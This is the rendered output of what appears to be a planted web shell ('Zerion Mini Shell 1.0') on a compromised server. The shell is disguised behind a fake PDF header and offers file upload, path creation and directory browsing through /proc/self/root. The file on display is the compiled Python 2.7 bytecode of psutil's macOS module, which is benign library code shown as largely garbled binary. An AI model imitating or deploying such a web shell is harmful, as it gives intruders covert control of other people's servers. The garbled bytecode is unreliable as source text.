%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/psutil/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyc

�
���Rc@sjdZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
mZmZddl
mZmZddlTgZyej�ZWn'ek
r�dZejde�nXyej�ZWn'ek
rdZejde�nXyej�d	ZWn'ek
rQdZejd
e�nXejd�Zedd
�ZejZeddjddddddddg��Z d�Z!d�Z"d�Z#d�Z$e%d�Z&d�Z'ej(Z(ej)Z)ej*Z*ej+Z,ej-Z.d�Z/ie0ej16e2ej36e4ej56e6ej76e8ej96Z:de;fd ��YZ<dS(!sOSX platform implementation.i����N(t_psposix(tAccessDeniedt
NoSuchProcesstTimeoutExpired(t
namedtupletwraps(t*s&couldn't determine platform's NUM_CPUSs'couldn't determine platform's BOOT_TIMEis*couldn't determine platform's TOTAL_PHYMEMtSC_PAGE_SIZEtcputimessuser nice system idletvmemt ttotalt	availabletpercenttusedtfreetactivetinactivetwiredc	Csktj�\}}}}}||}|||}t|||dd�}t||||||||�S(s&System virtual memory as a namedtuple.t_roundi(t_psutil_osxtget_virtual_memt
usage_percenttnt_virtmem_info(RRRRRtavailRR
((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytvirtual_memory;s
cCsItj�\}}}}}t||dd�}t||||||�S(s=Swap system memory as a (total, used, free, sin, sout) tuple.Ri(Rtget_swap_memRtnt_swapmeminfo(RRRtsintsoutR
((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytswap_memoryDscCs+tj�\}}}}t||||�S(s(Return system CPU times as a namedtuple.(Rtget_system_cpu_timest_cputimes_ntuple(tusertnicetsystemtidle((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyRJscCsUg}xHtj�D]:}|\}}}}t||||�}|j|�qW|S(s(Return system CPU times as a named tuple(Rtget_system_per_cpu_timesR tappend(trettcpu_tR!R"R#R$titem((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyR%Osc	Cs�g}tj�}x�|D]�}|\}}}}|dkrFd}n|s{tjj|�stjj|�r{qq{nt||||�}|j|�qW|S(Ntnonet(Rtget_disk_partitionstostpathtisabstexiststnt_partitionR&(	talltretlistt
partitionst	partitiontdevicet
mountpointtfstypetoptstntuple((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytdisk_partitionsXs
		cCs�g}tj�}xl|D]d}|\}}}}|dkrCqn|sOqnt||p^d|pgd|�}|j|�qW|S(Nt~(Rtget_system_userstnt_usertNoneR&(R3trawlistR)R!tttythostnamettstamptnt((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyR=gs
!cst���fd��}|S(s`Decorator which translates bare OSError exceptions into
    NoSuchProcess and AccessDenied.
    cs�y�|||�SWn�tk
r�tj�d}|jtjkr^t|j|j��n|jtjtj	fkr�t
|j|j��n�nXdS(Ni(tOSErrortsystexc_infoterrnotESRCHRtpidt
_process_nametEPERMtEACCESR(tselftargstkwargsterr(tfun(s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytwrapper�s
(R(RRRS((RRs@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytwrap_exceptions}stProcesscBs�eZdZddgZd�Zed��Zed��Zed��Zed��Z	ed��Z
ed	��Zed
��Zed��Z
ed��Zed
d�Zed��Zed��Zed��Zed��Zed��Zed��Zedd��Zed��Zed!d��Zed��Zed��Zed��Zed��Zedd�Zedd�Z ed ��Z!RS("s1Wrapper class around underlying C implementation.RJRKcCs||_d|_dS(N(RJR?RK(RNRJ((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyt__init__�s	cCstj|j�S(s4Return process name as a string of limited len (15).(Rtget_process_nameRJ(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyRW�scCstj|j�S(N(Rtget_process_exeRJ(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyRX�scCs7t|j�s't|j|j��ntj|j�S(s.Return process cmdline as a list of arguments.(t
pid_existsRJRRKRtget_process_cmdline(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyRZ�scCstj|j�S(sReturn process parent pid.(Rtget_process_ppidRJ(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyR[�scCstj|j�S(N(Rtget_process_cwdRJ(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyR\�scCs+tj|j�\}}}t|||�S(N(Rtget_process_uidsRJtnt_uids(RNtrealt	effectivetsaved((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyR]�scCs+tj|j�\}}}t|||�S(N(Rtget_process_gidsRJtnt_gids(RNR_R`Ra((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyRb�scCsCtj|j�}tj�}y||SWntk
r>dSXdS(N(Rtget_process_tty_nrRJRt_get_terminal_maptKeyErrorR?(RNttty_nrttmap((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytget_process_terminal�s
cCs)tj|j�d \}}t||�S(s2Return a tuple with the process' RSS and VMS size.i(Rtget_process_memory_infoRJt
nt_meminfo(RNtrsstvms((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytget_memory_info�stmeminfosrss vms pfaults pageinscCs<tj|j�\}}}}|j|||t|t�S(s2Return a tuple with the process' RSS and VMS size.(RRjRJt_nt_ext_memt	_PAGESIZE(RNRlRmtpfaultstpageins((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytget_ext_memory_info�scCs%tj|j�\}}t||�S(N(Rtget_process_cpu_timesRJtnt_cputimes(RNR!R#((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyt
get_cpu_times�scCstj|j�S(sTReturn the start time of the process as a number of seconds since
        the epoch.(Rtget_process_create_timeRJ(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyRx�scCsttj|j��S(N(tnt_ctxswRtget_process_num_ctx_switchesRJ(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytget_num_ctx_switches�scCstj|j�S(s6Return the number of threads belonging to the process.(Rtget_process_num_threadsRJ(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyR|�scCsq|jdkrgSg}tj|j�}x?|D]7\}}t|�r2t||�}|j|�q2q2W|S(sReturn files opened by process.i(RJRtget_process_open_filest
isfile_stricttnt_openfileR&(RNtfilesR@R.tfdR:((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytget_open_files�stinetcCs�|tkrGtd|djgtD]}t|�^q"�f��nt|\}}tj|j||�}g|D]}t|�^qvS(sXReturn etwork connections opened by a process as a list of
        namedtuples.
        s+invalid %r kind argument; choose between %ss, (t	conn_tmapt
ValueErrortjointreprRtget_process_connectionsRJt
nt_connection(RNtkindtxtfamiliesttypesR'tconn((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytget_connections�s5cCs#|jdkrdStj|j�S(Ni(RJRtget_process_num_fds(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytget_num_fds	scCsDytj|j|�SWn&tk
r?t|j|j��nXdS(N(Rtwait_pidRJRRK(RNttimeout((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytprocess_waits
cCstj|j�S(N(t
_psutil_posixtgetpriorityRJ(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytget_process_nicescCstj|j|�S(N(R�tsetpriorityRJ(RNtvalue((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytset_process_nicescCs3tj|j�}|tkr&t|Stdd�S(Ni����t?(Rtget_process_statusRJt_status_maptconstant(RNtcode((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyR�scCsUtj|j�}g}x6|D].\}}}t|||�}|j|�qW|S(s6Return the number of threads belonging to the process.(Rtget_process_threadsRJt	nt_threadR&(RNR@R3t	thread_idtutimetstimeR:((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyR�%stmmaps7path rss private swapped dirtied ref_count shadow_depthsBaddr perms path rss private swapped dirtied ref_count shadow_depthcCstj|j�S(N(Rtget_process_memory_mapsRJ(RN((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pytget_memory_maps4sN("t__name__t
__module__t__doc__t	__slots__RVRTRWRXRZR[R\R]RbRiRnRRpRtRwRxR{R|R�R�R�R?R�R�R�R�R�tnt_mmap_groupedtnt_mmap_extR�(((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyRU�sB		

		(=R�RHR-RFtwarningsRR�tpsutilRt
psutil._errorRRRtpsutil._compatRRtpsutil._commont__extra__all__tget_num_cpustNUM_CPUSt	ExceptionR?twarntRuntimeWarningtget_system_boot_timet	BOOT_TIMERtTOTAL_PHYMEMtsysconfRqR R�RRRRR%tFalseR;R=tget_pid_listRYtget_disk_usagetget_network_io_counterstnetwork_io_counterstget_disk_io_counterstdisk_io_countersRTtSTATUS_IDLEtSIDLtSTATUS_RUNNINGtSRUNtSTATUS_SLEEPINGtSSLEEPtSTATUS_STOPPEDtSSTOPt
STATUS_ZOMBIEtSZOMBR�tobjectRU(((s@/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psosx.pyt<module>sj



														






Zerion Mini Shell 1.0